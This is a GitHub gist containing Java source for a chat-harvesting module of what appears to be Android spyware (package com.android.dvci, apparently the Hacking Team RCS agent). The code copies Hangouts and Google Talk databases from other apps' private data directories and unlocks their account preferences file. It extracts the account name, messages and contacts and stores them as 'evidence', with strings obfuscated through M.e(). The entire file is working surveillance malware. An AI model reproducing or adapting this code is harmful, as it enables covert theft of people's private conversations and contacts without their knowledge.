Skip to content

Instantly share code, notes, and snippets.

@peterclemenko
Created July 11, 2015 16:54
Show Gist options
  • Save peterclemenko/858adbe28a93e3eecab9 to your computer and use it in GitHub Desktop.
Save peterclemenko/858adbe28a93e3eecab9 to your computer and use it in GitHub Desktop.
package com.android.dvci.module.chat;
import android.database.Cursor;
import com.android.dvci.auto.Cfg;
import com.android.dvci.db.GenericSqliteHelper;
import com.android.dvci.db.RecordVisitor;
import com.android.dvci.file.Path;
import com.android.dvci.manager.ManagerModule;
import com.android.dvci.module.ModuleAddressBook;
import com.android.dvci.util.Check;
import com.android.dvci.util.StringUtils;
import com.android.mm.M;
import org.w3c.dom.Document;
import org.w3c.dom.NamedNodeMap;
import org.w3c.dom.Node;
import org.w3c.dom.NodeList;
import java.io.File;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import java.util.concurrent.Semaphore;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
public class ChatGoogle extends SubModuleChat {
private static final String TAG = "ChatGoogle";
private static final int PROGRAM = 0x04;
String pObserving = M.e("com.google.android.talk");
private Semaphore readBabelSemaphore = new Semaphore(1);
@Override
int getProgramId() {
return PROGRAM;
}
@Override
String getObservingProgram() {
return pObserving;
}
@Override
void notifyStopProgram(String processName) {
if (Cfg.DEBUG) {
Check.log(TAG + " (notification stop)");
}
readChatMessages();
}
/**
* Estrae dal file RegisterPhone.xml il numero di telefono
*
* @return
*/
@Override
protected void start() {
if (Cfg.DEBUG) {
Check.log(TAG + " (actualStart)");
}
readChatMessages();
}
private void readChatMessages() {
if (!readBabelSemaphore.tryAcquire()) {
return;
}
try {
long[] lastLines = markup.unserialize(new long[2]);
String babel0 = M.e("babel0.db");
String babel1 = M.e("babel1.db");
String account = readAccount("1.name");
if (StringUtils.isEmpty(account) || !readHangoutMessages(lastLines, babel1, account)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatMessages) try babel0");
}
account = readAccount("0.name");
readHangoutMessages(lastLines, babel0, account);
}
readGoogleTalkMessages(lastLines);
serializeMarkup(lastLines);
} finally {
readBabelSemaphore.release();
}
}
private void serializeMarkup(long[] lastLines) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatMessages): updating markup");
}
try {
markup.writeMarkupSerializable(lastLines);
} catch (IOException e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatWeChatMessages) Error: " + e);
}
}
}
private boolean readHangoutMessages(long[] lastLines, String dbFile, String account) {
String dbDir = M.e("/data/data/com.google.android.talk/databases");
//if (ManagerModule.self().isInstancedAgent(ModuleAddressBook.class)) {
// saveContacts(helper);
//}
String sql_c = M.e("select cp.conversation_id, latest_message_timestamp, full_name, latest_message_timestamp from conversations as c ") +
M.e("join conversation_participants as cp on c.conversation_id=cp.conversation_id join participants as p on cp.participant_row_id=p._id");
// babel
GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
if (helper == null) {
return false;
}
try {
ChatGroups groups = new ChatGroups();
long newHangoutReadDate = 0;
List<HangoutConversation> conversations = getHangoutConversations(helper, account, lastLines[1]);
for (HangoutConversation sc : conversations) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readHangoutMessages) conversation: " + sc.id + " date: " + sc.date);
}
// retrieves the lastConvId recorded as evidence for this
// conversation
if (sc.isGroup() && !groups.hasMemoizedGroup(sc.id)) {
fetchHangoutParticipants(helper, account, sc.id, groups);
//groups.addPeerToGroup(sc.id, account);
}
long lastReadId = fetchHangoutMessages(helper, sc, groups, lastLines[1]);
newHangoutReadDate = Math.max(newHangoutReadDate, lastReadId);
}
if (newHangoutReadDate > 0) {
lastLines[1] = newHangoutReadDate;
}
} finally {
helper.disposeDb();
}
return true;
}
private long fetchHangoutMessages(GenericSqliteHelper helper, final HangoutConversation conversation, final ChatGroups groups, long lastTimestamp) {
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();
String sql_m = String.format(M.e("select m._id, full_name, fallback_name ,text, timestamp, type, p.chat_id ") +
M.e("from messages as m join participants as p on m.author_chat_id = p.chat_id where type<3 and conversation_id='%s' and timestamp>%s"),
conversation.id, lastTimestamp);
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
// I read a line in a conversation.
int id = cursor.getInt(0);
String fullName = cursor.getString(1);
String fallback_name = cursor.getString(2);
String body = cursor.getString(3);
long timestamp = cursor.getLong(4);
boolean incoming = cursor.getInt(5) == 2;
String chat_id = cursor.getString(6);
String peer = fullName;
//if (fallback_name!=null)
// peer = fallback_name;
// localtime or gmt? should be converted to gmt
Date date = new Date(timestamp / 1000);
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) peer: " + peer + " timestamp: " + timestamp + " incoming: "
+ incoming);
}
boolean isGroup = conversation.isGroup();
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) incoming: " + incoming + " group: " + isGroup);
}
String from, to = null;
String fromDisplay, toDisplay = null;
from = incoming ? peer : conversation.account;
fromDisplay = incoming ? peer : conversation.account;
Contact contact = groups.getContact(peer);
if (isGroup) {
// if (peer.equals("0")) {
// peer = conversation.account;
// }
to = groups.getGroupToName(from, conversation.id);
toDisplay = to;
} else {
to = incoming ? conversation.account : conversation.remote;
toDisplay = incoming ? conversation.account : conversation.remote;
}
if (!StringUtils.isEmpty(body)) {
MessageChat message = new MessageChat(getProgramId(), date, from, fromDisplay, to, toDisplay,
body, incoming);
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) message: " + message.from + " "
+ (message.incoming ? "<-" : "->") + " " + message.to + " : " + message.body);
}
messages.add(message);
}
return timestamp;
}
};
long newLastId = helper.traverseRawQuery(sql_m, new String[]{}, visitor);
if (messages != null && messages.size() > 0) {
saveEvidence(messages);
}
return newLastId;
}
public void saveEvidence(ArrayList<MessageChat> messages) {
getModule().saveEvidence(messages);
}
private void fetchHangoutParticipants(GenericSqliteHelper helper, final String account, final String thread_id, final ChatGroups groups) {
if (Cfg.DEBUG) {
Check.log(TAG + " (fetchHangoutParticipants) : " + thread_id);
}
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
String id = cursor.getString(0);
String fullname = cursor.getString(1);
String fallback = cursor.getString(2);
Contact contact;
String email = fullname;
if (email == null)
return 0;
contact = new Contact(id, email, fullname, "");
if (Cfg.DEBUG) {
Check.log(TAG + " (fetchParticipants) %s", contact);
}
if (email != null) {
groups.addPeerToGroup(thread_id, contact);
}
return 0;
}
};
String sqlquery = M.e("select p.chat_id, full_name, fallback_name, cp.conversation_id from conversation_participants as cp join participants as p on cp.participant_row_id=p._id where conversation_id=?");
helper.traverseRawQuery(sqlquery, new String[]{thread_id}, visitor);
}
private List<HangoutConversation> getHangoutConversations(GenericSqliteHelper helper, final String account, long timestamp) {
final List<HangoutConversation> conversations = new ArrayList<HangoutConversation>();
String[] projection = new String[]{M.e("conversation_id"), M.e("latest_message_timestamp"), M.e("conversation_type"), M.e("generated_name")};
String selection = "latest_message_timestamp > " + timestamp;
RecordVisitor visitor = new RecordVisitor(projection, selection) {
@Override
public long cursor(Cursor cursor) {
HangoutConversation c = new HangoutConversation();
c.account = account;
c.id = cursor.getString(0);
c.date = cursor.getLong(1);
c.group = cursor.getInt(2) == 2;
c.remote = cursor.getString(3);
c.group = true;
conversations.add(c);
return 0;
}
};
helper.traverseRecords(M.e("conversations"), visitor);
return conversations;
}
private String readAccount(String nameField) {
String xmlDir = M.e("/data/data/com.google.android.talk/shared_prefs");
String xmlFile = M.e("accounts.xml");
Path.unprotect(xmlDir, xmlFile, true);
DocumentBuilder builder;
String account = null;
try {
builder = DocumentBuilderFactory.newInstance().newDocumentBuilder();
Document doc = builder.parse(new File(xmlDir, xmlFile));
NodeList defaults = doc.getElementsByTagName("string");
for (int i = 0; i < defaults.getLength(); i++) {
Node d = defaults.item(i);
NamedNodeMap attributes = d.getAttributes();
Node attr = attributes.getNamedItem("name");
// nameField = "0.name"
if (nameField.equals(attr.getNodeValue())) {
Node child = d.getFirstChild();
account = child.getNodeValue();
break;
}
}
} catch (Exception e) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readAccount) Error: " + e);
}
}
if (account != null) {
ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.GOOGLE, account);
}
return account;
}
private void readGoogleTalkMessages(long[] lastLines) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatMessages)");
}
try {
String dbFile = M.e("talk.db");
String dbDir = M.e("/data/data/com.google.android.gsf/databases");
GenericSqliteHelper helper = GenericSqliteHelper.openCopy(dbDir, dbFile);
if (helper == null) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatMessages) Error, file not readable: " + dbFile);
}
return;
}
try {
setMyAccount(helper);
// Save contacts if AddressBook is active
if (ManagerModule.self().isInstancedAgent(ModuleAddressBook.class)) {
saveContacts(helper);
}
long newLastLine = fetchGTalkMessages(helper, lastLines[0]);
lastLines[0] = newLastLine;
} finally {
helper.disposeDb();
}
} catch (Exception ex) {
if (Cfg.DEBUG) {
Check.log(TAG + " (readChatWeChatMessages) Error: ", ex);
}
}
}
private long fetchGTalkMessages(GenericSqliteHelper helper, long lastLine) {
final ArrayList<MessageChat> messages = new ArrayList<MessageChat>();
String sqlquery = M.e("select m.date, ac.name, m.type, body, co.username, co.nickname from messages as m join contacts as co on m.thread_id = co._id join accounts as ac on co.account = ac._id where m.consolidation_key is null and m.type<=1 and m.date>?");
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
long createTime = cursor.getLong(0);
// localtime or gmt? should be converted to gmt
Date date = new Date(createTime);
String account = cursor.getString(1);
int isSend = cursor.getInt(2);
boolean incoming = isSend == 1;
String content = cursor.getString(3);
String co_username = cursor.getString(4);
String co_nick = cursor.getString(5);
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) %s] %s %s %s: %s ", date, account, (incoming ? "<-" : "->"), co_nick,
content);
}
String from_id, from_display, to_id, to_display;
if (co_nick == null || co_nick.startsWith(M.e("private-chat"))) {
return 0;
}
if (incoming) {
from_id = co_username;
from_display = co_nick;
to_id = account;
to_display = account;
} else {
from_id = account;
from_display = account;
to_id = co_username;
to_display = co_nick;
}
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) %s -> %s", from_id, to_id);
}
MessageChat message = new MessageChat(PROGRAM, date, from_id, from_display, to_id, to_display, content,
incoming);
messages.add(message);
return createTime;
}
};
long lastCreationLine = helper.traverseRawQuery(sqlquery, new String[]{Long.toString(lastLine)}, visitor);
getModule().saveEvidence(messages);
return lastCreationLine;
}
private void setMyAccount(GenericSqliteHelper helper) {
String[] projection = new String[]{"_id", "name", "username"};
RecordVisitor visitor = new RecordVisitor() {
@Override
public long cursor(Cursor cursor) {
int id = cursor.getInt(0);
String name = cursor.getString(1);
String username = cursor.getString(2);
if (Cfg.DEBUG) {
Check.log(TAG + " (setMyAccount) %s, %s", name, username);
}
ModuleAddressBook.createEvidenceLocal(ModuleAddressBook.GOOGLE, name);
return id;
}
};
long ret = helper.traverseRecords("accounts", visitor);
}
private void saveContacts(GenericSqliteHelper helper) {
String[] projection = new String[]{"username", "nickname"};
boolean tosave = false;
RecordVisitor visitor = new RecordVisitor(projection, "nickname not null ") {
@Override
public long cursor(Cursor cursor) {
String username = cursor.getString(0);
String nick = cursor.getString(1);
Contact c = new Contact(username, username, nick, "");
if (username != null && !username.endsWith(M.e("public.talk.google.com"))) {
if (ModuleAddressBook.createEvidenceRemote(ModuleAddressBook.GOOGLE, c)) {
if (Cfg.DEBUG) {
Check.log(TAG + " (cursor) need to serialize");
}
return 1;
}
}
return 0;
}
};
if (helper.traverseRecords(M.e("contacts"), visitor) == 1) {
if (Cfg.DEBUG) {
Check.log(TAG + " (saveContacts) serialize");
}
ModuleAddressBook.getInstance().serializeContacts();
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment